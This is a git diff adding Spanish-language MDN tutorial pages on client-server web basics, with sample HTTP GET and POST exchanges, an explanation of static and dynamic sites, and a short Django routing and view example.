unslug es: move

5 files changed, 1056 insertions, 0 deletions

diff --git a/files/es/learn/server-side/first_steps/client-server_overview/index.html b/files/es/learn/server-side/first_steps/client-server_overview/index.html
new file mode 100644
index 0000000000..05ce1f9451
--- /dev/null
+++ b/files/es/learn/server-side/first_steps/client-server_overview/index.html
@@ -0,0 +1,334 @@
+---
+title: Visión General Cliente-Servidor
+slug: Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - Servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps/Client-Server_overview
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">Ahora que conoces el propósito y los beneficios potenciales de la programación de lado-servidor vamos a examinar en detalle lo que ocurre cuando un servidor recibe una "petición dinámica" desde un explorador web. Ya que el código de lado servidor de la mayoría de los sitios web gestiona peticiones y respuestas de formas similares, este artículo te ayudará a entender lo que necesitas hacer para escribir la mayor parte de tu propio código.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Conocimientos básicos de computación. Noción básica de lo que es un servidor.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Comprender lo que son las interacciones cliente-servidor en un sitio web dinámico, y en particular que operaciones necesita realizar el código de lado servidor.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>No hay código real en el debate porque ¡todavía no hemos seleccionado el framework web que usaremos para escribir nuestro código! Sin embargo este debate sí que es muy relevante incluso ahora, porque el comportamiento descrito debería ser implementado por tu código de lado servidor independientemente de qué lenguaje de programación o framework web hayas seleccionado.</p>
+
+<h2 id="Servidores_Web_y_HTTP_(iniciación)">Servidores Web y HTTP (iniciación)</h2>
+
+<p>Los exploradores web se comunican con los <a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server">servidores web</a> usando el Protocolo de Transferencia de HyperTexto (<strong>H</strong>yper<strong>T</strong>ext<strong>T</strong>ransfer <strong>P</strong>rotocol <a href="/en-US/docs/Web/HTTP">HTTP</a>). Cuando pinchas en un enlace sobre una página web, envías un formulario o ejecutas una búsqueda, el explorador envía una petición (<em>Request) </em>HTTP al servidor.</p>
+
+<p>Esta petición incluye:</p>
+
+<ul>
+ <li>Una URL que identifica el servidor de destino y un recurso (ej. un fichero HTML, un punto de datos particular en el servidor, o una herramienta a ejecutar).</li>
+ <li>Un método que define la acción requerida (por ejemplo, obtener un fichero o salvar o actualizar algunos datos). Los diferentes métodos/verbos y sus acciones asociadas se listan debajo:
+  <ul>
+   <li><code>GET</code>: Obtener un recurso específico (ej. un fichero HTML que contiene información acerca de un producto  o una lista de productos).</li>
+   <li><code>POST</code>: Crear un nuevo recurso (ej. añadir un nuevo artículo a una wiki, añadir un nuevo contacto a una base de datos). </li>
+   <li><code>HEAD</code>: Obtener la información de los metadatos sobre un recurso específico sin obtener el cuerpo entero tal como haría <code>GET</code>. Podrías, por ejemplo, usar una petición <code>HEAD</code> para encontrar la última vez que un  recurso fue actualizado, y a continuación usar la petición <code>GET</code> (más "cara") para descargar el recurso sólo si éste ha cambiado. </li>
+   <li><code>PUT</code>: Actualizar un recurso existente (o crear uno nuevo si no existe).</li>
+   <li><code>DELETE</code>: Borrar el recurso específico.</li>
+   <li><code>TRACE</code>, <code>OPTIONS</code>, <code>CONNECT</code>, <code>PATCH</code>: Estos verbos son para tareas menos comunes/avanzadas, por lo que no los trataremos aquí.</li>
+  </ul>
+ </li>
+ <li>Se puede codificar información adicional con la petición (por ejemplo, datos de un formulario HTML). La información puede ser codificada como:
+  <ul>
+   <li>Parámetros URL: Las peticiones <code>GET</code> codifican los datos en la URL enviada al servidor añadiendo al final pares nombre/valor — por ejemplo, <code>http://mysite.com<strong>?name=Fred&amp;age=11</strong></code>. Siempre encontrarás un signo de interrogación(<code>?</code>) separando los parámetros URL del resto de la misma, un signo igual (<code>=</code>) separando cada nombre de su valor asociado y un ampersand (<code>&amp;</code>) separando cada par. Los parámetros URL son inherentemente "inseguros" ya que pueden ser modificados por los usuarios y ser enviados de nuevo. Como consecuencia los parámetros URL/peticiones <code>GET</code> no se usan para peticiones de actualización de datos en el servidor.</li>
+   <li>Datos <code>POST</code>. Las peticiones <code>POST</code> añaden nuevos recursos, cuyos datos están codificados dentro del cuerpo de la petición.</li>
+   <li>Cookies de lado cliente. Los Cookies contienen datos de sesión acerca del cliente, incluyendo las claves que el servidor puede usar para determinar su estado de incio de sesión y los permisos/accesos a los recursos.</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Los servidores web esperan los mensajes de petición de los clientes, los procesan cuando llegan y responden al explorador web con un mensaje de respuesta HTTP. La respuesta contiene un <a href="/en-US/docs/Web/HTTP/Status">código de estado de respuesta HTTP</a> que indica si la petición ha tenido éxito o no (ej. "<code>200 OK</code>" para indicar éxito, "<code>404 Not Found</code>" si el resurso no ha podido ser encontrado,  "<code>403 Forbidden</code>" si el usuario no está autorizado a acceder al recurso, etc). El cuerpo de la respuesta de éxito a una petición <code>GET</code> contendría el recurso solicitado.</p>
+
+<p>Cuando se devuelve una página HTML es renderizada por el explorador web. Como parte del procesamiento el explorador puede descubrir enlaces a otros recursos (ej. una página HTML normalmente referencia las páginas JavaScript y CSS), y enviará peticiones HTTP separadas para descargar estos ficheros.</p>
+
+<p>Los sitios web tanto estáticos como dinámicos (abordados en las secciones siguientes) usan exactamente los mismos protocolos/patrones de comunicación.</p>
+
+<h3 id="Ejemplo_de_peticiónrespuesta_GET">Ejemplo de petición/respuesta GET</h3>
+
+<p>Puedes realizar una petición <code>GET</code> simplemente pinchando sobre un enlace o buscando en un sitio (como la página inicial de un motor de búsquedas). Por ejemplo, la petición HTTP que se envía cuando realizas una búsqueda en MDN del término "visión general cliente servidor" se parecerá mucho al texto que se muestra más abajo (no será idéntica porque algunas partes del mensaje dependen de tu explorador/configuración).</p>
+
+<div class="note">
+<p>El formato de los mensajes HTTP está definido en el "estándard web" (<a href="http://www.rfc-editor.org/rfc/rfc7230.txt">RFC7230</a>). No necesitas conocer este nivel de detalle, pero al menos ¡ahora sabes de donde viene todo esto!</p>
+</div>
+
+<h4 id="La_petición">La petición</h4>
+
+<p>Cada linea de la petición contiene información sobre ella. La primera parte se llama <strong>cabecera</strong> o <strong>header</strong>, y contiene información útil sobre la petición, de la misma manera que un <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">HTML head</a> contiene información útil sobre un documento (pero no el contenido mismo, que está en el cuerpo):</p>
+
+<pre>GET https://developer.mozilla.org/en-US/search?q=client+server+overview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Pragma: no-cache
+Cache-Control: no-cache
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/
+Accept-Encoding: gzip, deflate, sdch, br
+<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _gat=1; _ga=GA1.2.1688886003.1471911953; ffo=true
+</pre>
+
+<p>La primera y segunda líneas contienen la mayoría de la información de la que hemos hablado arriba:</p>
+
+<ul>
+ <li>El tipo de petición (<code>GET</code>).</li>
+ <li>La URL del recurso de destino (<code>/en-US/search</code>).</li>
+ <li>Los parámetros URL (<code>q=client%2Bserver%2Boverview&amp;topic=apps&amp;topic=html&amp;topic=css&amp;topic=js&amp;topic=api&amp;topic=webdev</code>).</li>
+ <li>El destino/host del sitio web (developer.mozilla.org).</li>
+ <li>El final de la primera linea también incluye una cadena corta que identifica la versión del protocolo utilizado (<code>HTTP/1.1</code>).</li>
+</ul>
+
+<p>La última linea contiene información sobre los cookies del lado cliente — puedes ver que en este caso el cookie incluye un id para gestionar las sesiones (<code>Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; ...</code>).</p>
+
+<p>Las líneas restantes contienen información sobre el explorador web usado y la clase de respuestas que puede manejar. Por ejemplo, puedes ver aquí que:</p>
+
+<ul>
+ <li>Mi explorador (<code>User-Agent</code>) es Mozilla Firefox (<code>Mozilla/5.0</code>).</li>
+ <li>Puede aceptar información comprimida gzip (<code>Accept-Encoding: gzip</code>).</li>
+ <li>Puede aceptar el conjunto de caracteres especificado (<code>Accept-Charset: ISO-8859-1,UTF-8;q=0.7,*;q=0.7</code>) y los idiomas (<code>Accept-Language: de,en;q=0.7,en-us;q=0.3</code>).</li>
+ <li>La linea <code>Referer</code> indica la dirección de la página web que contenía el enlace a este recurso (es decir, el origen de la petición, <code>https://developer.mozilla.org/en-US/</code>).</li>
+</ul>
+
+<p>Las peticiones HTTP también pueden tener un cuerpo, pero está vacío en este caso.</p>
+
+<h4 id="La_respuesta">La respuesta</h4>
+
+<p>La primera parte de la respuesta a esta petición se muestra abajo. La cabecera o header contiene información como la siguiente:</p>
+
+<ul>
+ <li>La primera linea incluye el código de respuesta <code>200 OK</code>, que nos dice que la petición ha tenido éxito.</li>
+ <li>Podemos ver que la respuesta está formateada (<code>Content-Type</code>) en modo <code>text/html</code>.</li>
+ <li>Podemos ver que usa también el conjunto de caracteres UTF-8 (<code>Content-Type: text/html; charset=utf-8</code>).</li>
+ <li>La cabecera también nos dice lo grande que es (<code>Content-Length: 41823</code>).</li>
+</ul>
+
+<p>Al final del mensaje vemos el contenido del <strong>cuerpo</strong> (<strong>body</strong>) — que contiene el HTML real devuelto por la respuesta.</p>
+
+<pre class="brush: html">HTTP/1.1 200 OK
+Server: Apache
+X-Backend-Server: developer1.webapp.scl3.mozilla.com
+Vary: Accept,Cookie, Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:11:31 GMT
+Keep-Alive: timeout=5, max=999
+Connection: Keep-Alive
+X-Frame-Options: DENY
+Allow: GET
+X-Cache-Info: caching
+Content-Length: 41823
+
+
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en-US" dir="ltr" class="redesign no-js"  data-ffo-opensanslight=false data-ffo-opensans=false &gt;
+&lt;head prefix="og: http://ogp.me/ns#"&gt;
+  &lt;meta charset="utf-8"&gt;
+  &lt;meta http-equiv="X-UA-Compatible" content="IE=Edge"&gt;
+  &lt;script&gt;(function(d) { d.className = d.className.replace(/\bno-js/, ''); })(document.documentElement);&lt;/script&gt;
+  ...
+</pre>
+
+<p>El resto de la cabecera de la respuesta incluye información sobre la respuesta (ej. cuándo se generó), el servidor, y cómo espera el explorador manejar la página (ej. la linea <code>X-Frame-Options: DENY</code> le dice que al explorador que no está permitido incrustar esta página en un {{htmlelement("iframe")}} en otro sitio).</p>
+
+<h3 id="Ejemplo_de_peticiónrespuesta_POST">Ejemplo de petición/respuesta POST</h3>
+
+<p>Un HTTP <code>POST</code> se realiza cuando se envía un formulario que contiene información para ser guardada en el servidor.</p>
+
+<h4 id="La_petición_2">La petición</h4>
+
+<p>El texto de abajo muestra la petición HTTP realizada cuando un usuario envía al sitio los detalles de un nuevo perfil. El formato de la petición es casi el mismo que en la petición <code>GET</code> del ejemplo mostrado previamente, aunque la primera linea identifica esta petición como <code>POST</code>. </p>
+
+<pre class="brush: html">POST https://developer.mozilla.org/en-US/profiles/hamishwillee/edit HTTP/1.1
+Host: developer.mozilla.org
+Connection: keep-alive
+Content-Length: 432
+Pragma: no-cache
+Cache-Control: no-cache
+Origin: https://developer.mozilla.org
+Upgrade-Insecure-Requests: 1
+User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
+Content-Type: application/x-www-form-urlencoded
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Referer: https://developer.mozilla.org/en-US/profiles/hamishwillee/edit
+Accept-Encoding: gzip, deflate, br
+Accept-Language: en-US,en;q=0.8,es;q=0.6
+Cookie: sessionid=6ynxs23n521lu21b1t136rhbv7ezngie; _gat=1; csrftoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT; dwf_section_edit=False; dwf_sg_task_completion=False; _ga=GA1.2.1688886003.1471911953; ffo=true
+
+csrfmiddlewaretoken=zIPUJsAZv6pcgCBJSCj1zU6pQZbfMUAT&amp;user-username=hamishwillee&amp;user-fullname=Hamish+Willee&amp;user-title=&amp;user-organization=&amp;user-location=Australia&amp;user-locale=en-US&amp;user-timezone=Australia%2FMelbourne&amp;user-irc_nickname=&amp;user-interests=&amp;user-expertise=&amp;user-twitter_url=&amp;user-stackoverflow_url=&amp;user-linkedin_url=&amp;user-mozillians_url=&amp;user-facebook_url=</pre>
+
+<p>La principal diferencia es que la URL no tiene parámetros. Como puedes ver, la información del formulario se codifica en el cuerpo de la petición (por ejemplo, el nombre completo del nuevo usuario se establece usando: <code>&amp;user-fullname=Hamish+Willee</code>).</p>
+
+<h4 id="La_respuesta_2">La respuesta</h4>
+
+<p>La respuesta a la petición se muestra abajo. El código de estado "<code>302 Found</code>" le dice al explorador que el POST ha tenido éxito, y que debe realizar una segunda petición HTTP para cargar la página especificada en el campo <code>Location</code>. La información es de lo contrario similar a la respuesta a una petición <code>GET</code>.</p>
+
+<pre class="brush: html">HTTP/1.1 302 FOUND
+Server: Apache
+X-Backend-Server: developer3.webapp.scl3.mozilla.com
+Vary: Cookie
+Vary: Accept-Encoding
+Content-Type: text/html; charset=utf-8
+Date: Wed, 07 Sep 2016 00:38:13 GMT
+Location: https://developer.mozilla.org/en-US/profiles/hamishwillee
+Keep-Alive: timeout=5, max=1000
+Connection: Keep-Alive
+X-Frame-Options: DENY
+X-Cache-Info: not cacheable; request wasn't a GET or HEAD
+Content-Length: 0
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: Las repuestas y las peticiones HTTP mostradas en estos ejemplos fueron capturadas usando la aplicación <a href="https://www.telerik.com/download/fiddler">Fiddler</a>, pero puedes obtener información similar usando sniffers web (ej. <a href="http://web-sniffer.net/">http://web-sniffer.net/</a>) o usando extensiones del explorador como <a href="https://addons.mozilla.org/en-US/firefox/addon/httpfox/">HttpFox</a>. Puedes probarlo por tí mismo. Usa una de las herramientas enlazadas, y a continuación navega a través de un sitio y edita información del perfil para ver las diferentes peticiones y respuestas. La mayoría de los exploradores modernos también tienen herramientas que monitorizan las peticiciones de red (Por ejemplo, la herramienta <a href="/en-US/docs/Tools/Network_Monitor">Network Monitor</a> en Firefox).</p>
+</div>
+
+<h2 id="Sitios_estáticos">Sitios estáticos</h2>
+
+<p>Un <em>sitio estático</em> es aquél que devuelve desde el servidor el mismo contenido establecido de forma fija en el código cada vez que se solicita una página en particular. De manera que si por ejemplo tienes una página sobre un producto en <code>/static/myproduct1.html</code> , a todos los usuarios se les devolverá la misma página. Si añades otro producto similar a tu sitio necesitarás añadir otra página (ej. <code>myproduct2.html</code>) etc... Esto puede llegar a ser realmente muy poco eficiente — ¿qué sucede cuando alcanzas miles de páginas de productos? Repetirías un montón de código a lo largo de cada página (la plantilla básica de la página, la estructura, etc), y si quisieras cambiar cualquier cosa de la estructura de la página — como añadir una nueva sección de "productos relacionados" por ejemplo — tendrías que cambiar cada página individualmente. </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los sitios estáticos son excelentes cuando tienes un pequeño número de páginas y quieres enviar el mismo contenido a todos los usuarios. Sin embargo pueden tener un coste de mantenimiento significante a medida que es número de páginas se hace grande.</p>
+</div>
+
+<p>Recapitulemos cómo funciona ésto, mirando otra vez el diagrama de la arquitectura de un sitio estático que vimos en el anterior artículo.</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png"></p>
+
+<p>Cuando un usuario quiere navegar a una página, el explorador envía una petición HTTP <code>GET</code> especificando la URL de su página HTML. El servidor recupera el documento solicitado de su sistema de ficheros y devuelve una respuesta HTTP conteniendo el documento y un <a href="/en-US/docs/Web/HTTP/Status">código de estado de respuesta HTTP</a> "<code>200 OK</code>" (indicando éxito). El servidor podría devolver un código de estado diferente, por ejemplo "<code>404 Not Found</code>" si el fichero no está presente en el servidor, o "<code>301 Moved Permanently</code>" si el fichero existe pero ha sido redirigido a una localización diferente.</p>
+
+<p>El servidor de un sitio estático sólo tendrá que procesar peticiones GET, ya que el servidor no almacena ningún dato modificable. Tampoco cambia sus respuestas basádonse en los datos de la petición HTTP (ej. parámetros URL o cookies). </p>
+
+<p>Entendiendo cómo funcionan los sitios estáticos es útil sin embargo cuando se aprende programación de lado servidor, porque los sitios dinámicos gestionan las peticiones de ficheros estáticos (CSS, JavaScript, imágenes estáticas, etc.) exactamente de la misma forma.</p>
+
+<h2 id="Sitios_dinámicos">Sitios dinámicos</h2>
+
+<p>Un <em>sitio dinámico</em> es aquél que puede generar y devolver contenido basándose en la URL y los datos específicos de la petición (en vez de devolver siempre para una URL en particular el mismo fichero especificado en el código de forma fija). Usando el ejemplo de un sitio de productos, el servidor almacenaría "datos" del producto en una base de datos en vez de ficheros HTML individuales. Cuando se reciba una petición HTTP <code>GET</code> para un producto, el servidor determina el ID del mismo, extrae los datos de la base y construye la página HTML de la respuesta insertando los datos dentro de la plantilla HTML. Esto tiene una ventaja primordial sobre un sitio estático: </p>
+
+<p>Usar una base de datos permite que la información del producto se almacene de forma eficiente y que se pueda ampliar, modificar y buscar fácilmente.</p>
+
+<p>Usar plantillas HTML hace que sea muy fácil cambiar la estructura HTML, porque sólo se necesita hacer en un sólo lugar, en una única plantilla y no a lo largo de miles de páginas estáticas.</p>
+
+<h3 id="Anatomía_de_una_petición_dinámica">Anatomía de una petición dinámica</h3>
+
+<p>Esta sección proporciona una visión general paso a paso de un ciclo de petición y respuesta HTTP "dinámicas", construyendo con más detalle lo que vimos en el último artículo. Para "hacer cosas reales" usaremos el contexto del sitio web de un manager de equipos deportivos donde un entrenador puede seleccionar el nombre y tamaño de su equipo en un formulario HTML y obtener de vuelta una sugerencia de "mejor alineación" para el próximo partido. </p>
+
+<p>El diagrama de abajo muestra los elementos principales del sitio web del "entrenador del equipo", junto con etiquetas numeradas de la secuencia de operaciones cuando el entrenador accede a su lista de "mejor equipo". Las partes del sitio que lo hacen dinámico son las <em>Aplicaciones Web</em> (que es como llamaremos al código del lado servidor que procesa las peticiones HTTP y devuelve respuestas HTTP), la <em>Base de Datos</em>, que contiene la información sobre los jugadores, equipos, entrenadores y sus relaciones, y las <em>Plantillas HTML</em>.</p>
+
+<p><img alt="This is a diagram of a simple web server with step numbers for each of step of the client-server interaction." src="https://mdn.mozillademos.org/files/13829/Web%20Application%20with%20HTML%20and%20Steps.png" style="height: 584px; width: 1226px;"></p>
+
+<p>Después de que el entrenador envíe el formulario con el nombre del equipo y el número de jugadores, la secuencia de operaciones es la siguiente:</p>
+
+<ol>
+ <li>El explorador web crea una petición HTTP <code>GET</code> al servidor usando la URL base del recurso (<code>/best</code>) y codifica el equipo y número de jugadores como parámetros URL (ej. <code>/best?team=my_team_name&amp;show=11)</code> o formando parte de un patrón URL (ej. <code>/best/my_team_name/11/</code>). Se usa una petición <code>GET</code> porque la petición sólo recoge datos (no modifica ninguno).</li>
+ <li>El S<em>ervidor Web</em> detecta que la petición es "dinámica" y la reenvía a la <em>Aplicación</em> para que la procese (el servidor web determina como manejar diferentes URLs basándose en reglas de emparejamiento de patrones definidas en su configuración).</li>
+ <li>La <em>Aplicación Web</em> identifica que la intención de la petición es obtener la "lista del mejor equipo" basándose en la URL (<code>/best/</code>) y encuentra el nombre del equipo y el número de jugadores requeridos a partir de la URL. La <em>Aplicación Web</em> obtiene entonces la información solicitada de la base de datos (usando parámetros "internos" adicionales que definen qué jugadores son los "mejores", y posiblemente también obteniendo la identidad del entrenador que ha iniciado sesión a partir de un cookie del lado cliente).</li>
+ <li>La <em>Aplicación Web</em> crea dinámicamente una página HTML por medio de colocar los datos (de la <em>base</em>) en marcadores de posición dentro de la plantilla HTML.</li>
+ <li>La <em>Aplicación Web</em> devuelve el HTML generado al explorador web (via el <em>Servidor Web</em>), junto con un código de estado HTTP de 200 ("éxito"). Si algo impide que se pueda devolver el HTML entonces la <em>Aplicación Web</em> devolverá otro código — por ejemplo "404" para indicar que el equipo no existe.</li>
+ <li>El Explorador Web comenzará a continuación a procesar el HTML devuelto, enviando peticiones separadas para obtener cualquier otro fichero CSS o JavaScript que sea referenciado (ver paso 7).</li>
+ <li>El Servidor Web carga ficheros estáticos del sistema de ficheros y los devuelve al explorador directamente (de nuevo, la gestión correcta de los ficheros está basada en las reglas de configuración y de emparejamiento de patrones URL).</li>
+</ol>
+
+<p>La operación de actualizar un registro de la base de datos se gestionaría de forma similar, excepto que, como para cualquier actualización de la base de datos, la petición HTTP desde el explorador debería ser codificada como petición <code>POST</code>. </p>
+
+<h3 id="Realización_de_otros_trabajos">Realización de otros trabajos</h3>
+
+<p>La misión de una <em>Aplicación Web</em> es recibir peticiones HTTP y devolver respuestas HTTP. Mientras que interactuar con la base datos para obtener o actualizar información son tareas muy comunes, el código puede hacer otras cosas al mismo tiempo, o no interactuar con una base de datos en absoluto.</p>
+
+<p>Un buen ejemplo de una tarea adicional que una <em> Aplicación Web</em> podría realizar sería el envío de un correo electrónico a los usuarios para confirmar su registro en el sitio. El sito podría también realizar logging u otras operaciones.</p>
+
+<h3 id="Devolución_de_alguna_otra_cosa_distinta_a_HTML">Devolución de alguna otra cosa distinta a HTML</h3>
+
+<p>El código lado servidor de un sitio web no tiene que devolver fragmentos/ficheros HTML en la respuesta. Puede en vez de eso crear dinámicamente y devolver otros tipos de ficheros (texto, PDF, CSV, etc.) o incluso datos (jSON, XML, etc.).</p>
+
+<p>La idea de devolver datos a un explorador web de forma que pueda actualizar su propio contenido dinámicamente ({{glossary("AJAX")}}) ha estado dando vueltas durante bastante tiempo. Más recientemente han llegado a ser muy populares las "apps de una sola página", donde el sitio web entero está escrito con un solo fichero HTML que es actualizado dinámicamente cuando se necesita. Los sitios web creados usando este estilo de aplicación transfieren una gran parte del coste computacional desde el servidor al explorador web, y pueden dar como resultado sitios web que se comportan mucho más como aplicaciones nativas (con una respuesta rápida "highly responsive", etc.).</p>
+
+<h2 id="Los_frameworks_Web_simplifican_la_programación_de_lado_servidor">Los frameworks Web simplifican la programación de lado servidor</h2>
+
+<p>Los frameworks de lado servidor hacen mucho más fácil escribir código para gestionar las operaciones descritas más arriba.</p>
+
+<p>Una de las operaciones más importantes que realizan es proporcionar mecanismos simples para mapear las URLs de diferentes recursos/páginas a funciones para su gestión específicas. Esto hace más fácil mantener separado el código asociado con cada recurso. Esto tiene también beneficios en términos de mantenimiento, ya que puedes cambiar la URL usada para entregar una característica particular en un sitio, sin tener que cambiar la función de gestión.</p>
+
+<p>Por ejemplo, considera el siguiente código Django (Python) que mapea dos patrones URL a dos funciones de visualización. El primer patrón asegura que una petición HTTP con una URL de  <code>/best</code> sea pasada a la función llamada <code>index()</code> en el módulo <code>views</code>. En cambio, una petición que tiene el patrón "<code>/best/junior</code>", se pasará a la función de visualización <code>junior()</code>.</p>
+
+<pre class="brush: python"># file: best/urls.py
+#
+
+from django.conf.urls import url
+
+from . import views
+
+urlpatterns = [
+    # example: /best/
+    url(r'^$', views.index),
+    # example: /best/junior/
+    url(r'^junior/$', views.junior),
+]</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: El primer parámetro en las funciones <code>url()</code> puede parecer un poco extraño (ej. <code>r'^junior/$'</code>) porque usan una técnica de emparejamiento de patrones llamada "expresiones regulares" ("regular expressions", RegEx, o RE). No necesitas saber cómo funcionan las expresiones regulares en este momento, tan sólo que nos permiten emparejar patrones en el URL (en vez de los valores insertados en el código de forma fija que veíamos más arriba) y los usan como parámetros en nuestras funciones de visualización. Como ejemplo, una RegEx simple podría decir "empareja una simple letra mayúscula, seguida de entre 4 y 7 letras minúsculas."</p>
+</div>
+
+<p>El framework web también hace fácil a una función de visualización extraer información de la base de datos. La estructura de nuestros datos está definida en modelos, que son las clases Python que definen los campos que serán almacenados en la base de datos subyacente. Si tenemos un modelo llamado <em>Team</em> con un campo de "<em>team_type</em>" podemos usar un query de sintaxis simple para recuperar todos los equipos que son de un tipo particular.</p>
+
+<p>Los ejemplos de abajo recuperan una lista de todos los equipos que tienen el <code>team_type</code> de "junior" exacto (teniendo en cuenta la capitalización, mayúsculas o minúsculas) — nota de formato: el nombre del campo (<code>team_type</code>) seguido de un guión bajo doble, y a continuación el tipo de emparejamiento a usar (en este caso <code>exact</code>). Hay muchos otros tipos de emparejamiento y podemos encadenarlos fácilmente. Podemos controlar el orden y número de resultados que se devuelven. </p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+
+from .models import Team
+
+
+def junior(request):
+    list_teams = Team.objects.filter(team_type__exact="junior")
+    context = {'list': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<p>Después de que la función <code>junior()</code> obtenga la lista de equipos junior, llama a la función <code>render()</code>, pasándole el <code>HttpRequest</code> original,  una plantilla HTML, y un objeto "contexto" que define la información a ser incluida en la plantilla. La función <code>render()</code> es una función de conveniencia que genera HTML usando un contexto y una plantilla HTML, y devuelve un objeto <code>HttpResponse</code>.</p>
+
+<p>Obviamente los frameworks web pueden ayudarte con un monton de otras tareas. Debatiremos sobre un montón más de beneficios y opciones de frameworks web en el próximo artículo.</p>
+
+<h2 id="Sumario">Sumario</h2>
+
+<p>En este punto deberías tener una buena visión general de las operaciones que el código de lado servidor tiene que realizar, y conocer algunas de las formas en que un framework web de lado servidor las puede hacer más fáciles.</p>
+
+<p>En el módulo siguiente te ayudaremos a elegir el mejor Framework Web para tu primer sitio.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Introduction", "Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p>
+
+<p> </p>
+
+<h2 id="En_este_módulo">En este módulo</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Introduction">Introducción al lado servidor</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Visión general Cliente-Servidor</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Frameworks Web de lado servidor</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/First_steps/Website_security">Seguridad Web</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/learn/server-side/first_steps/index.html b/files/es/learn/server-side/first_steps/index.html
new file mode 100644
index 0000000000..19a5454b4b
--- /dev/null
+++ b/files/es/learn/server-side/first_steps/index.html
@@ -0,0 +1,47 @@
+---
+title: Primeros Pasos en la Programación de Lado-Servidor
+slug: Learn/Server-side/Primeros_pasos
+tags:
+  - Aprendizaje
+  - Aterrizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p>En este, nuestro módulo sobre programación de Lado-Servidor, contestaremos a unas pocas preguntas fundamentales - "¿Qué es?", "¿En qué se diferencia de la programación de Lado-Cliente?" y "¿Porqué es tan útil?". Proporcionaremos un vistazo de algunos de los "web-frameworks" de lado-servidor más populares, junto con indicaciones de cómo seleccionar el framework más adecuado para crear tu primer sitio. Finalmente proporcionaremos un artículo introductorio de alto nivel sobre seguridad en el servidor web. </p>
+
+<h2 id="Prerequisitos">Prerequisitos</h2>
+
+<p>Antes de comenzar este módulo no necesitas tener ningún conocimiento de programación de sitios web de lado-servidor, y tampoco de ningún otro tipo de programación.</p>
+
+<p>Necesitarás entender "cómo funciona la web". Te recomendamos que leas primero los siguientes temas:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">Qué es un servidor web</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">¿Qué software necesito para construir un sitio web?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">¿Cómo se suben los ficheros a un servidor web?</a></li>
+</ul>
+
+<p>Con este conocimiento básico estarás listo para recorrer el camino a través de los módulos de esta sección.</p>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor</a></dt>
+ <dd>¡Bienvenidos al curso MDN de programación para principiantes de lado servidor! En este primer artículo enfocamos la programación de Lado-Servidor desde un nivel alto, respondiendo a preguntas tales como "¿qué es?", "¿en qué se diferencia de la programación de Lado-Cliente?" y "¿porqué es tan útil?". Después de leer este artículo entenderás el poder adicional para los sitios web <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>disponible </span>a través de la codificación lado-servidor.</dd>
